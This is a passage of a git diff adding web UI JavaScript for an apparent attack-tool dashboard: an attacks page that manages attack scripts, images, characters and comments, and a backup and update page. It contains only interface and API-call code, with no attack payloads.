'action') root.classList.add('status-mode'); + if (selectedImageScope === 'static') root.classList.add('static-mode'); + if (selectedImageScope === 'web') root.classList.add('web-mode'); + if (selectedImageScope === 'icons') root.classList.add('icons-mode'); +} + +function renderImages(items, resolver) { + imageCache = items.map((im) => ({ name: typeof im === 'string' ? im : (im.name || im.filename || ''), width: im.width, height: im.height })); + imageResolver = resolver; + const grid = q('#image-container'); + const search = (q('#search-input')?.value || '').toLowerCase().trim(); + grid.innerHTML = ''; + + imageSort(imageCache).filter((x) => !search || x.name.toLowerCase().includes(search)).forEach((im) => { + const tile = document.createElement('div'); + tile.className = 'image-item'; + tile.classList.toggle('selectable', !!editMode); + tile.dataset.imageName = im.name; + + const img = document.createElement('img'); + img.src = resolver(im.name); + + const info = document.createElement('div'); + info.className = 'image-info'; + info.textContent = im.width && im.height ? `${im.name} (${im.width}x${im.height})` : im.name; + + const ring = document.createElement('div'); + ring.className = 'select-ring'; + + const tick = document.createElement('div'); + tick.className = 'tick-overlay'; + tick.textContent = 'OK'; + + tracker.trackEventListener(tile, 'click', () => { + if (!editMode) return; + tile.classList.toggle('selected'); + if (tile.classList.contains('selected')) selectedImages.add(im.name); + else selectedImages.delete(im.name); + }); + + tile.append(img, info, ring, tick); + grid.appendChild(tile); + }); +} + +async function loadSections() { + const ul = q('#section-list'); + const hint = q('#empty-comments-hint'); + ul.innerHTML = ''; + + try { + const d = await getJSON('/get_sections'); + const sections = (d.sections || []).slice().sort((a, b) => String(a).localeCompare(String(b), undefined, { sensitivity: 'base', numeric: true })); + hint.style.display = sections.length ? 'none' : 'block'; + + for (const name of sections) { + const li = document.createElement('li'); + li.className = 'card'; + li.dataset.section = name; + + const img = document.createElement('img'); + iconFor(name).then((u) => { img.src = u; }); + + const span = document.createElement('span'); + span.textContent = name; + + tracker.trackEventListener(li, 'click', async () => { + qa('#section-list .card').forEach((n) => n.classList.remove('selected')); + li.classList.add('selected'); + selectedSection = name; + q('#delete-section-btn').disabled = false; + q('#section-title').textContent = `${L('attacks.tabs.comments')} - ${name}`; + + const c = await getJSON('/get_comments?section=' + encodeURIComponent(name)); + const ce = q('#comments-editor'); + ce.classList.remove('placeholder'); + ce.innerHTML = ''; + (c.comments || []).forEach((line) => { + const div = document.createElement('div'); + div.className = 'comment-line'; + div.textContent = line || '\u200b'; + ce.appendChild(div); + }); + }); + + li.append(img, span); + ul.appendChild(li); + } + } catch { + hint.style.display = 'block'; + } +} + +function addScopeCard(parent, type, name, imgSrc, onClick) { + const li = document.createElement('li'); + li.className = 'card'; + li.dataset.type = type; + li.dataset.name = name; + const img = document.createElement('img'); img.src = imgSrc; + const span = document.createElement('span'); span.textContent = name; + tracker.trackEventListener(li, 'click', async () => { selectScope(type, name); await onClick(); }); + li.append(img, span); + parent.appendChild(li); +} + +async function loadImageScopes() { + const actionList = q('#action-list'); actionList.innerHTML = ''; + const staticList = q('#library-list'); staticList.innerHTML = ''; + const webList = q('#web-images-list'); webList.innerHTML = ''; + const iconList = q('#actions-icons-list'); iconList.innerHTML = ''; + + try { + const actions = await getJSON('/get_actions'); + (actions.actions || []).forEach((a) => { + const li = document.createElement('li'); li.className = 'card'; li.dataset.type = 'action'; li.dataset.name = a.name; + const img = document.createElement('img'); iconFor(a.name).then((u) => { img.src = u; }); + const span = document.createElement('span'); span.textContent = a.name; + tracker.trackEventListener(li, 'click', async () => { + selectScope('action', a.name); + const d = await getJSON('/get_action_images?action=' + encodeURIComponent(a.name)); + if (d.status === 'success') renderImages(d.images || [], (n) => `/images/status/${encodeURIComponent(a.name)}/${encodeURIComponent(n)}`); + }); + li.append(img, span); + actionList.appendChild(li); + }); + + addScopeCard(staticList, 'static', L('attacks.section.staticImages'), '/web/images/static_icon.png', async () => { + const d = await getJSON('/list_static_images_with_dimensions'); + if (d.status === 'success') renderImages(d.images || [], (n) => '/static_images/' + encodeURIComponent(n)); + }); + + addScopeCard(webList, 'web', L('attacks.section.webImages'), '/web/images/icon-192x192.png', async () => { + const d = await getJSON('/list_web_images'); + if (d.status === 'success') renderImages(d.images || [], (n) => '/web/images/' + encodeURIComponent(n)); + }); + + addScopeCard(iconList, 'icons', L('attacks.section.actionIcons'), '/web/images/attack.png', async () => { + const d = await getJSON('/list_actions_icons'); + if (d.status === 'success') renderImages(d.images || [], (n) => '/actions_icons/' + encodeURIComponent(n)); + }); + } catch { + note(L('attacks.errors.loadImages'), 2600, 'error'); + } +} + +function selectScope(type, name) { + qa('#action-list .card, #library-list .card, #web-images-list .card, #actions-icons-list .card').forEach((n) => n.classList.remove('selected')); + qa(`[data-type="${type}"][data-name="${name}"]`).forEach((n) => n.classList.add('selected')); + selectedImageScope = type; + selectedActionName = type === 'action' ? name : null; + selectedImages.clear(); + syncImageModeClasses(); +} + +async function refreshScope() { + if (selectedImageScope === 'action' && selectedActionName) { + const d = await getJSON('/get_action_images?action=' + encodeURIComponent(selectedActionName)); + if (d.status === 'success') renderImages(d.images || [], (n) => `/images/status/${encodeURIComponent(selectedActionName)}/${encodeURIComponent(n)}`); + } else if (selectedImageScope === 'static') { + const d = await getJSON('/list_static_images_with_dimensions'); + if (d.status === 'success') renderImages(d.images || [], (n) => '/static_images/' + encodeURIComponent(n)); + } else if (selectedImageScope === 'web') { + const d = await getJSON('/list_web_images'); + if (d.status === 'success') renderImages(d.images || [], (n) => '/web/images/' + encodeURIComponent(n)); + } else if (selectedImageScope === 'icons') { + const d = await getJSON('/list_actions_icons'); + if (d.status === 'success') renderImages(d.images || [], (n) => '/actions_icons/' + encodeURIComponent(n)); + } +} + +async function loadCharacters() { + const ul = q('#character-list'); + if (!ul) return; + ul.innerHTML = ''; + const d = await getJSON('/list_characters'); + const current = d.current_character; + (d.characters || []).forEach((c) => { + const li = document.createElement('li'); li.className = 'card'; li.dataset.name = c.name; + const img = document.createElement('img'); img.src = '/get_character_icon?character=' + encodeURIComponent(c.name) + '&t=' + Date.now(); + img.onerror = () => { img.src = '/web/images/default_character_icon.png'; }; + const span = document.createElement('span'); span.textContent = c.name; + if (c.name === current) { const ck = document.createElement('span'); ck.textContent = L('common.yes'); li.appendChild(ck); } + tracker.trackEventListener(li, 'click', async () => { + if (!confirm(L('attacks.confirm.switchCharacter', { name: c.name }))) return; + const r = await postJSON('/switch_character', { character_name: c.name }); + if (r.status === 'success') { note(L('attacks.toast.characterSwitched'), 1800, 'success'); loadCharacters(); } + }); + li.append(img, span); + ul.appendChild(li); + }); +} + +function setPage(page) { + qa('.tab-btn').forEach((b) => b.classList.toggle('active', b.dataset.page === page)); + qa('.sidebar-page').forEach((s) => { s.style.display = 'none'; }); + qa('.page-content').forEach((p) => p.classList.remove('active')); + const sidebar = q(`#${page}-sidebar`); + if (sidebar) sidebar.style.display = 'block'; + q(`#${page}-page`)?.classList.add('active'); +} + +function bindTabs() { + qa('.tab-btn').forEach((btn) => tracker.trackEventListener(btn, 'click', async () => { + const page = btn.dataset.page; + setPage(page); + if (page === 'attacks') await loadAttacks(); + if (page === 'comments') await loadSections(); + if (page === 'images') await Promise.all([loadImageScopes(), loadCharacters()]); + })); +} + +function bindActions() { + tracker.trackEventListener(q('#add-attack-btn'), 'click', async () => { + const inp = document.createElement('input'); inp.type = 'file'; inp.accept = '.py'; + inp.onchange = async () => { + const f = inp.files?.[0]; if (!f) return; + const fd = new FormData(); fd.append('attack_file', f); + const r = await fetch('/add_attack', { method: 'POST', body: fd }); + const d = await r.json(); + if (d.status === 'success') { + note(L('attacks.toast.attackImported'), 1800, 'success'); + await loadAttacks(); + await syncMissing(); + } + }; + inp.click(); + }); + + tracker.trackEventListener(q('#remove-attack-btn'), 'click', async () => { + if (!currentAttack) return; + if (!confirm(L('attacks.confirm.removeAttack', { name: currentAttack }))) return; + const d = await postJSON('/remove_attack', { name: currentAttack }); + if (d.status === 'success') { + currentAttack = null; + q('#editor-textarea').value = ''; + q('#editor-textarea').disabled = true; + q('#editor-title').textContent = L('attacks.editor.selectAttack'); + loadAttacks(); + } + }); + + tracker.trackEventListener(q('#delete-action-btn'), 'click', async () => { + const actionName = currentAttack || selectedActionName; + if (!actionName) return note(L('attacks.toast.selectAttackFirst'), 1800, 'warning'); + if (!confirm(L('attacks.confirm.deleteAction', { name: actionName }))) return; + const d = await postJSON('/action/delete', { action_name: actionName }); + if (d.status === 'success') { + if (currentAttack === actionName) { + currentAttack = null; + q('#editor-textarea').value = ''; + q('#editor-textarea').disabled = true; + q('#editor-title').textContent = L('attacks.editor.selectAttack'); + } + note(L('attacks.toast.actionDeleted'), 1800, 'success'); + await Promise.all([loadAttacks(), loadImageScopes()]); + } else { + note(d.message || L('common.error'), 2200, 'error'); + } + }); + + tracker.trackEventListener(q('#restore-default-actions-btn'), 'click', async () => { + if (!confirm(L('attacks.confirm.restoreDefaultsBundle'))) return; + const d = await postJSON('/actions/restore_defaults', {}); + if (d.status === 'success') { + note(L('attacks.toast.defaultsRestored'), 2000, 'success'); + currentAttack = null; + selectedImageScope = null; + selectedActionName = null; + selectedImages.clear(); + syncImageModeClasses(); + await Promise.all([loadAttacks(), loadSections(), loadImageScopes(), loadCharacters()]); + } else { + note(d.message || L('common.error'), 2200, 'error'); + } + }); + + tracker.trackEventListener(q('#sync-missing-btn'), 'click', async () => { + await syncMissing(); + }); + + tracker.trackEventListener(q('#save-attack-btn'), 'click', async () => { + if (!currentAttack) return; + const d = await postJSON('/save_attack', { name: currentAttack, content: q('#editor-textarea').value }); + if (d.status === 'success') note(L('common.saved'), 1500, 'success'); + }); + + tracker.trackEventListener(q('#restore-attack-btn'), 'click', async () => { + if (!currentAttack) return; + if (!confirm(L('attacks.confirm.restoreAttack', { name: currentAttack }))) return; + const d = await postJSON('/restore_attack', { name: currentAttack }); + if (d.status === 'success') selectAttack(currentAttack, q(`#attacks-list .card[data-attack-name="${currentAttack}"]`)); + }); + + tracker.trackEventListener(q('#create-character-btn'), 'click', async () => { + const name = prompt(L('attacks.prompt.newCharacterName')); + if (!name) return; + const d = await postJSON('/create_character', { character_name: name }); + if (d.status === 'success') { note(L('attacks.toast.characterCreated'), 1800, 'success'); loadCharacters(); } + }); + + tracker.trackEventListener(q('#delete-character-btn'), 'click', async () => { + const d = await getJSON('/list_characters'); + const deletable = (d.characters || []).filter((x) => x.name !== 'BJORN').map((x) => x.name); + if (!deletable.length) return note(L('attacks.toast.noDeletableCharacters'), 1800, 'warning'); + const name = prompt(L('attacks.prompt.characterToDelete') + '\n' + deletable.join('\n')); + if (!name || !deletable.includes(name)) return; + if (!confirm(L('attacks.confirm.deleteCharacter', { name }))) return; + const r = await postJSON('/delete_character', { character_name: name }); + if (r.status === 'success') { note(L('attacks.toast.characterDeleted'), 1800, 'success'); loadCharacters(); } + }); + + tracker.trackEventListener(q('#add-section-btn'), 'click', async () => { + const name = prompt(L('attacks.prompt.newSectionName')); + if (!name) return; + const d = await postJSON('/save_comments', { section: name, comments: [] }); + if (d.status === 'success') loadSections(); + }); + + tracker.trackEventListener(q('#delete-section-btn'), 'click', async () => { + if (!selectedSection) return; + if (!confirm(L('attacks.confirm.deleteSection', { name: selectedSection }))) return; + const d = await postJSON('/delete_comment_section', { section: selectedSection }); + if (d.status === 'success') { + selectedSection = null; + q('#comments-editor').innerHTML = ''; + q('#section-title').textContent = L('attacks.tabs.comments'); + loadSections(); + } + }); + + tracker.trackEventListener(q('#restore-default-btn'), 'click', async () => { + if (!confirm(L('attacks.confirm.restoreDefaultComments'))) return; + const r = await fetch('/restore_default_comments', { method: 'POST' }); + const d = await r.json(); + if (d.status === 'success') { note(L('attacks.toast.commentsRestored'), 1800, 'success'); loadSections(); } + }); + + tracker.trackEventListener(q('#save-comments-btn'), 'click', async () => { + if (!selectedSection) return note(L('attacks.toast.selectSectionFirst'), 1800, 'warning'); + const lines = qa('.comment-line', q('#comments-editor')).map((x) => x.textContent?.trim()).filter(Boolean); + const d = await postJSON('/save_comments', { section: selectedSection, comments: lines }); + if (d.status === 'success') note(L('attacks.toast.commentsSaved'), 1600, 'success'); + }); + + tracker.trackEventListener(q('#select-all-btn'), 'click', () => { + const ce = q('#comments-editor'); + if (!ce) return; + ce.focus(); + const sel = window.getSelection(); + if (!sel) return; + const range = document.createRange(); + range.selectNodeContents(ce); + sel.removeAllRanges(); + sel.addRange(range); + }); + + tracker.trackEventListener(q('#search-input'), 'input', () => renderImages(imageCache, imageResolver || (() => ''))); + tracker.trackEventListener(q('#sort-key'), 'change', (e) => { sortKey = e.target.value; renderImages(imageCache, imageResolver || (() => '')); }); + tracker.trackEventListener(q('#sort-dir'), 'click', (e) => { sortDir *= -1; e.target.textContent = sortDir === 1 ? '^' : 'v'; renderImages(imageCache, imageResolver || (() => '')); }); + tracker.trackEventListener(q('#density'), 'input', (e) => { + const px = Number(e.target.value) || 160; + root?.style.setProperty('--tile-min', `${px}px`); + try { localStorage.setItem('attacks.tileMin', String(px)); } catch { } + }); + + tracker.trackEventListener(q('#edit-mode-toggle-btn'), 'click', () => { + editMode = !editMode; + syncImageModeClasses(); + q('#edit-mode-toggle-btn').textContent = editMode ? L('attacks.images.exitEditMode') : L('attacks.images.enterEditMode'); + if (!editMode) { + selectedImages.clear(); + qa('.image-item.selected').forEach((x) => x.classList.remove('selected')); + } + renderImages(imageCache, imageResolver || (() => '')); + }); + + tracker.trackEventListener(q('#rename-image-btn'), 'click', async () => { + if (selectedImages.size !== 1) return note(L('attacks.toast.selectExactlyOneImage'), 1800, 'warning'); + const oldName = Array.from(selectedImages)[0]; + const newName = prompt(L('attacks.prompt.newImageName'), oldName); + if (!newName || newName === oldName) return; + const type = selectedImageScope === 'action' ? 'image' : selectedImageScope; + const d = await postJSON('/rename_image', { type, action: selectedActionName, old_name: oldName, new_name: newName }); + if (d.status === 'success') { selectedImages.clear(); refreshScope(); } + }); + + tracker.trackEventListener(q('#replace-image-btn'), 'click', async () => { + if (selectedImages.size !== 1) return note(L('attacks.toast.selectExactlyOneImage'), 1800, 'warning'); + const oldName = Array.from(selectedImages)[0]; + const inp = document.createElement('input'); inp.type = 'file'; inp.accept = '.bmp,.jpg,.jpeg,.png,.gif,.ico,.webp'; + inp.onchange = async () => { + const f = inp.files?.[0]; if (!f) return; + const fd = new FormData(); + fd.append('type', selectedImageScope); + fd.append('image_name', oldName); + if (selectedImageScope === 'action') fd.append('action', selectedActionName); + fd.append('new_image', f); + const r = await fetch('/replace_image', { method: 'POST', body: fd }); + const d = await r.json(); + if (d.status === 'success') { selectedImages.clear(); refreshScope(); } + }; + inp.click(); + }); + + tracker.trackEventListener(q('#resize-images-btn'), 'click', async () => { + if (!selectedImages.size) return note(L('attacks.toast.selectAtLeastOneImage'), 1800, 'warning'); + const w = Number(prompt(L('attacks.prompt.resizeWidth'), '100')); + const h = Number(prompt(L('attacks.prompt.resizeHeight'), '100')); + if (!Number.isFinite(w) || !Number.isFinite(h) || w <= 0 || h <= 0) return; + const payload = { + type: selectedImageScope, + action: selectedActionName, + image_names: Array.from(selectedImages), + width: Math.round(w), + height: Math.round(h), + }; + const d = await postJSON('/resize_images', payload); + if (d.status === 'success') { + note(L('attacks.toast.imagesResized'), 1800, 'success'); + selectedImages.clear(); + await refreshScope(); + } else { + note(d.message || L('common.error'), 2200, 'error'); + } + }); + + tracker.trackEventListener(q('#add-characters-btn'), 'click', async () => { + if (selectedImageScope !== 'action' || !selectedActionName) return note(L('attacks.toast.selectStatusActionFirst'), 1800, 'warning'); + const inp = document.createElement('input'); + inp.type = 'file'; + inp.multiple = true; + inp.accept = '.bmp,.jpg,.jpeg,.png'; + inp.onchange = async () => { + const files = Array.from(inp.files || []); + if (!files.length) return; + const fd = new FormData(); + fd.append('action_name', selectedActionName); + files.forEach((f) => fd.append('character_images', f)); + const r = await fetch('/upload_character_images', { method: 'POST', body: fd }); + const d = await r.json(); + if (d.status === 'success') { + note(L('attacks.toast.characterImagesUploaded'), 1800, 'success'); + await refreshScope(); + } else { + note(d.message || L('common.error'), 2200, 'error'); + } + }; + inp.click(); + }); + + tracker.trackEventListener(q('#delete-images-btn'), 'click', async () => { + if (!selectedImages.size) return note(L('attacks.toast.selectAtLeastOneImage'), 1800, 'warning'); + if (!confirm(L('attacks.confirm.deleteSelectedImages'))) return; + const d = await postJSON('/delete_images', { type: selectedImageScope, action: selectedActionName, image_names: Array.from(selectedImages) }); + if (d.status === 'success') { selectedImages.clear(); refreshScope(); } + }); + + tracker.trackEventListener(q('#add-status-image-btn'), 'click', async () => { + if (selectedImageScope !== 'action' || !selectedActionName) return note(L('attacks.toast.selectStatusActionFirst'), 1800, 'warning'); + const inp = document.createElement('input'); inp.type = 'file'; inp.accept = '.bmp,.jpg,.jpeg,.png'; + inp.onchange = async () => { + const f = inp.files?.[0]; if (!f) return; + const fd = new FormData(); fd.append('type', 'action'); fd.append('action_name', selectedActionName); fd.append('status_image', f); + const r = await fetch('/upload_status_image', { method: 'POST', body: fd }); + const d = await r.json(); + if (d.status === 'success') refreshScope(); + }; + inp.click(); + }); + + tracker.trackEventListener(q('#add-static-image-btn'), 'click', async () => { + const inp = document.createElement('input'); inp.type = 'file'; inp.accept = '.bmp,.jpg,.jpeg,.png,.gif,.ico,.webp'; + inp.onchange = async () => { + const f = inp.files?.[0]; if (!f) return; + const fd = new FormData(); fd.append('static_image', f); + const r = await fetch('/upload_static_image', { method: 'POST', body: fd }); + const d = await r.json(); + if (d.status === 'success') refreshScope(); + }; + inp.click(); + }); + + tracker.trackEventListener(q('#add-web-image-btn'), 'click', async () => { + const inp = document.createElement('input'); inp.type = 'file'; inp.accept = '.bmp,.jpg,.jpeg,.png,.gif,.ico,.webp'; + inp.onchange = async () => { + const f = inp.files?.[0]; if (!f) return; + const fd = new FormData(); fd.append('web_image', f); + const r = await fetch('/upload_web_image', { method: 'POST', body: fd }); + const d = await r.json(); + if (d.status === 'success') refreshScope(); + }; + inp.click(); + }); + + tracker.trackEventListener(q('#add-icon-image-btn'), 'click', async () => { + const inp = document.createElement('input'); inp.type = 'file'; inp.accept = '.bmp,.jpg,.jpeg,.png,.gif,.ico,.webp'; + inp.onchange = async () => { + const f = inp.files?.[0]; if (!f) return; + const fd = new FormData(); fd.append('icon_image', f); + const r = await fetch('/upload_actions_icon', { method: 'POST', body: fd }); + const d = await r.json(); + if (d.status === 'success') refreshScope(); + }; + inp.click(); + }); +} + +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + root = el('div', { class: 'attacks-container page-with-sidebar' }); + root.innerHTML = markup(); + container.appendChild(root); + q('.attacks-sidebar')?.classList.add('page-sidebar'); + q('.attacks-main')?.classList.add('page-main'); + disposeSidebarLayout = initSharedSidebarLayout(root, { + sidebarSelector: '.attacks-sidebar', + mainSelector: '.attacks-main', + storageKey: 'sidebar:attacks', + mobileBreakpoint: 900, + toggleLabel: Lx('common.menu', 'Menu'), + mobileDefaultOpen: true, + }); + bindTabs(); + bindActions(); + syncImageModeClasses(); + + const density = q('#density'); + if (density) { + let tile = Number(density.value) || 160; + try { + const saved = Number(localStorage.getItem('attacks.tileMin')); + if (Number.isFinite(saved) && saved >= 120 && saved <= 260) tile = saved; + } catch { } + density.value = String(tile); + root.style.setProperty('--tile-min', `${tile}px`); + } + + const ce = q('#comments-editor'); + if (ce && !ce.textContent.trim()) { + ce.classList.add('placeholder'); + ce.textContent = ce.dataset.placeholder || L('attacks.comments.placeholder'); + tracker.trackEventListener(ce, 'focus', () => { + if (ce.classList.contains('placeholder')) { + ce.classList.remove('placeholder'); + ce.innerHTML = '

                              '; + } + }); + } + + await loadAttacks(); +} + +export function unmount() { + for (const v of iconCache.values()) { + if (typeof v === 'string' && v.startsWith('blob:')) URL.revokeObjectURL(v); + } + iconCache.clear(); + selectedImages.clear(); + if (disposeSidebarLayout) { + disposeSidebarLayout(); + disposeSidebarLayout = null; + } + if (tracker) { + tracker.cleanupAll(); + tracker = null; + } + root = null; +} diff --git a/web/js/pages/backup.js b/web/js/pages/backup.js new file mode 100644 index 0000000..bbe9477 --- /dev/null +++ b/web/js/pages/backup.js @@ -0,0 +1,459 @@ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api } from '../core/api.js'; +import { el, $, empty, toast } from '../core/dom.js'; +import { t } from '../core/i18n.js'; +import { initSharedSidebarLayout } from '../core/sidebar-layout.js'; + +const PAGE = 'backup'; + +let tracker = null; +let disposeSidebarLayout = null; +let backups = []; +let currentSection = 'backup'; +let pendingModalAction = null; + +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + const shell = buildShell(); + container.appendChild(shell); + tracker.trackEventListener(window, 'keydown', (e) => { + if (e.key === 'Escape') closeModal(); + }); + disposeSidebarLayout = initSharedSidebarLayout(shell, { + sidebarSelector: '.backup-sidebar', + mainSelector: '.backup-main', + storageKey: 'sidebar:backup', + toggleLabel: t('common.menu'), + }); + wireEvents(); + switchSection('backup'); + await loadBackups(); +} + +export function unmount() { + if (disposeSidebarLayout) { + try { disposeSidebarLayout(); } catch { /* noop */ } + disposeSidebarLayout = null; + } + if (tracker) { + tracker.cleanupAll(); + tracker = null; + } + backups = []; + currentSection = 'backup'; + pendingModalAction = null; +} + +function buildShell() { + return el('div', { class: 'page-backup page-with-sidebar' }, [ + el('aside', { class: 'backup-sidebar page-sidebar' }, [ + el('div', { class: 'sidehead backup-sidehead' }, [ + el('h3', { class: 'backup-side-title' }, [t('backup.title')]), + el('div', { class: 'spacer' }), + el('button', { class: 'btn', id: 'hideSidebar', 'data-hide-sidebar': '1', type: 'button' }, [t('common.hide')]), + ]), + navItem('backup', '/web/images/backuprestore.png', t('backup.backupRestore')), + navItem('update', '/web/images/update.png', t('backup.update')), + ]), + + el('div', { class: 'backup-main page-main' }, [ + buildBackupSection(), + buildUpdateSection(), + ]), + + buildOptionsModal(), + el('div', { id: 'backup-loading', class: 'backup-loading-overlay', style: 'display:none' }, [ + el('div', { class: 'backup-spinner' }), + ]), + ]); +} + +function navItem(key, icon, label) { + return el('button', { + type: 'button', + class: 'backup-nav-item', + 'data-section': key, + onclick: () => switchSection(key), + }, [ + el('img', { src: icon, alt: '', class: 'backup-nav-icon' }), + el('span', { class: 'backup-nav-label' }, [label]), + ]); +} + +function buildBackupSection() { + return el('section', { id: 'section-backup', class: 'backup-section' }, [ + el('h2', { class: 'backup-title' }, [t('backup.backupRestore')]), + + el('form', { id: 'backup-form', class: 'backup-form' }, [ + el('label', { for: 'backup-desc-input', class: 'backup-label' }, [t('common.description')]), + el('div', { class: 'backup-form-row' }, [ + el('input', { + id: 'backup-desc-input', + class: 'backup-input', + type: 'text', + placeholder: t('backup.descriptionPlaceholder'), + required: 'required', + }), + el('button', { type: 'submit', class: 'btn btn-primary' }, [t('backup.createBackup')]), + ]), + ]), + + el('h3', { class: 'backup-subtitle' }, [t('backup.lastBackup')]), + el('div', { id: 'backup-table-wrap', class: 'backup-table-wrap' }, [ + el('div', { class: 'page-loading' }, [t('common.loading')]), + ]), + ]); +} + +function buildUpdateSection() { + return el('section', { id: 'section-update', class: 'backup-section', style: 'display:none' }, [ + el('h2', { class: 'backup-title' }, [t('backup.update')]), + el('div', { id: 'update-version-info', class: 'backup-update-message' }, [ + t('backup.checkUpdatesHint'), + ]), + el('div', { class: 'backup-update-actions' }, [ + el('button', { class: 'btn', id: 'btn-check-update', onclick: onCheckUpdate }, [t('backup.checkUpdates')]), + el('button', { class: 'btn btn-primary', id: 'btn-upgrade', onclick: onUpgrade }, [t('backup.installUpdate')]), + el('button', { class: 'btn btn-danger', id: 'btn-fresh', onclick: onFreshStart }, [t('backup.freshStart')]), + ]), + ]); +} + +function buildOptionsModal() { + return el('div', { + id: 'backup-modal', + class: 'backup-modal-overlay', + 'aria-hidden': 'true', + style: 'display:none', + onclick: (e) => { + if (e.target.id === 'backup-modal') closeModal(); + }, + }, [ + el('div', { class: 'backup-modal' }, [ + el('div', { class: 'backup-modal-head' }, [ + el('h3', { id: 'modal-title', class: 'backup-modal-title' }, [t('common.options')]), + el('button', { class: 'btn btn-sm', onclick: closeModal, type: 'button' }, ['X']), + ]), + el('p', { class: 'backup-modal-help' }, [t('backup.selectKeepFolders')]), + keepCheckbox('keep-data', t('backup.keepData')), + keepCheckbox('keep-resources', t('backup.keepResources')), + keepCheckbox('keep-actions', t('backup.keepActions')), + keepCheckbox('keep-config', t('backup.keepConfig')), + el('div', { class: 'backup-modal-actions' }, [ + el('button', { class: 'btn', type: 'button', onclick: closeModal }, [t('common.cancel')]), + el('button', { class: 'btn btn-primary', type: 'button', onclick: onModalConfirm }, [t('common.confirm')]), + ]), + ]), + ]); +} + +function keepCheckbox(id, label) { + return el('label', { class: 'backup-keep' }, [ + el('input', { id, type: 'checkbox' }), + el('span', {}, [label]), + ]); +} + +function wireEvents() { + const form = $('#backup-form'); + if (form) { + tracker?.trackEventListener(form, 'submit', onCreateBackup); + } +} + +function switchSection(section) { + currentSection = section; + + const secBackup = $('#section-backup'); + const secUpdate = $('#section-update'); + if (secBackup) secBackup.style.display = section === 'backup' ? '' : 'none'; + if (secUpdate) secUpdate.style.display = section === 'update' ? '' : 'none'; + + document.querySelectorAll('.backup-nav-item').forEach((item) => { + item.classList.toggle('active', item.getAttribute('data-section') === section); + }); + + if (section === 'update') { + onCheckUpdate(); + } +} + +function ensureOk(response, fallbackMessage) { + if (!response || typeof response !== 'object') { + throw new Error(fallbackMessage || t('common.error')); + } + if (response.status && response.status !== 'success') { + throw new Error(response.message || fallbackMessage || t('common.error')); + } + return response; +} + +async function loadBackups() { + const wrap = $('#backup-table-wrap'); + if (wrap) { + empty(wrap); + wrap.appendChild(el('div', { class: 'page-loading' }, [t('common.loading')])); + } + + try { + const data = ensureOk(await api.post('/list_backups', {}), t('backup.failedLoadBackups')); + backups = Array.isArray(data.backups) ? data.backups : []; + renderBackupTable(); + } catch (err) { + backups = []; + renderBackupTable(); + toast(`${t('backup.failedLoadBackups')}: ${err.message}`, 3200, 'error'); + } +} + +function renderBackupTable() { + const wrap = $('#backup-table-wrap'); + if (!wrap) return; + empty(wrap); + + if (!backups.length) { + wrap.appendChild(el('div', { class: 'backup-empty' }, [t('backup.noBackupsCreateAbove')])); + return; + } + + const table = el('table', { class: 'backup-table' }, [ + el('thead', {}, [ + el('tr', {}, [ + el('th', {}, [t('common.date')]), + el('th', {}, [t('common.description')]), + el('th', {}, [t('common.actions')]), + ]), + ]), + el('tbody', {}, backups.map((b) => backupRow(b))), + ]); + + wrap.appendChild(table); +} + +function backupRow(backup) { + const actions = [ + el('button', { class: 'btn btn-sm', type: 'button', onclick: () => onRestoreBackup(backup.filename) }, [t('backup.restoreBackup')]), + ]; + + if (!backup.is_default) { + actions.push(el('button', { class: 'btn btn-sm', type: 'button', onclick: () => onSetDefault(backup.filename) }, [t('backup.setDefault')])); + } + + actions.push(el('button', { class: 'btn btn-sm btn-danger', type: 'button', onclick: () => onDeleteBackup(backup.filename) }, [t('common.delete')])); + + return el('tr', {}, [ + el('td', {}, [formatDate(backup.date)]), + el('td', {}, [ + el('span', {}, [backup.description || backup.filename || t('backup.unnamedBackup')]), + backup.is_default ? el('span', { class: 'pill backup-default-pill' }, [t('common.default')]) : null, + backup.is_github ? el('span', { class: 'pill' }, [t('backup.github')]) : null, + backup.is_restore ? el('span', { class: 'pill' }, [t('backup.restorePoint')]) : null, + ]), + el('td', {}, [el('div', { class: 'backup-row-actions' }, actions)]), + ]); +} + +async function onCreateBackup(event) { + event.preventDefault(); + const input = $('#backup-desc-input'); + const description = input ? input.value.trim() : ''; + + if (!description) { + toast(t('backup.enterDescription'), 2200, 'warning'); + if (input) input.focus(); + return; + } + + showLoading(); + try { + const res = ensureOk(await api.post('/create_backup', { description }), t('backup.failedCreate')); + toast(res.message || t('backup.createdSuccessfully'), 2600, 'success'); + if (input) input.value = ''; + await loadBackups(); + } catch (err) { + toast(`${t('backup.failedCreate')}: ${err.message}`, 3200, 'error'); + } finally { + hideLoading(); + } +} + +function onRestoreBackup(filename) { + pendingModalAction = { type: 'restore', filename }; + openModal(t('backup.restoreOptions')); +} + +async function onSetDefault(filename) { + showLoading(); + try { + ensureOk(await api.post('/set_default_backup', { filename }), t('backup.failedSetDefault')); + toast(t('backup.defaultUpdated'), 2200, 'success'); + await loadBackups(); + } catch (err) { + toast(`${t('backup.failedSetDefault')}: ${err.message}`, 3200, 'error'); + } finally { + hideLoading(); + } +} + +async function onDeleteBackup(filename) { + if (!confirm(t('common.confirmQuestion'))) { + return; + } + + showLoading(); + try { + const res = ensureOk(await api.post('/delete_backup', { filename }), t('backup.failedDelete')); + toast(res.message || t('backup.deleted'), 2200, 'success'); + await loadBackups(); + } catch (err) { + toast(`${t('backup.failedDelete')}: ${err.message}`, 3200, 'error'); + } finally { + hideLoading(); + } +} + +async function onCheckUpdate() { + const infoEl = $('#update-version-info'); + if (infoEl) infoEl.textContent = t('backup.checkingUpdates'); + + try { + const data = await api.get('/check_update'); + if (!infoEl) return; + + empty(infoEl); + infoEl.appendChild(el('div', { class: 'backup-version-lines' }, [ + el('span', {}, [t('backup.currentVersion'), ': ', el('strong', {}, [String(data.current_version || t('common.unknown'))])]), + el('span', {}, [t('backup.latestVersion'), ': ', el('strong', {}, [String(data.latest_version || t('common.unknown'))])]), + data.update_available + ? el('span', { class: 'backup-update-available' }, [t('backup.updateAvailable')]) + : el('span', { class: 'backup-update-ok' }, [t('backup.upToDate')]), + ])); + infoEl.classList.remove('fade-in'); + void infoEl.offsetWidth; + infoEl.classList.add('fade-in'); + } catch (err) { + if (infoEl) infoEl.textContent = `${t('backup.failedCheckUpdates')}: ${err.message}`; + toast(`${t('backup.failedCheckUpdates')}: ${err.message}`, 3200, 'error'); + } +} + +function onUpgrade() { + pendingModalAction = { type: 'update' }; + openModal(t('backup.updateOptions')); +} + +async function onFreshStart() { + if 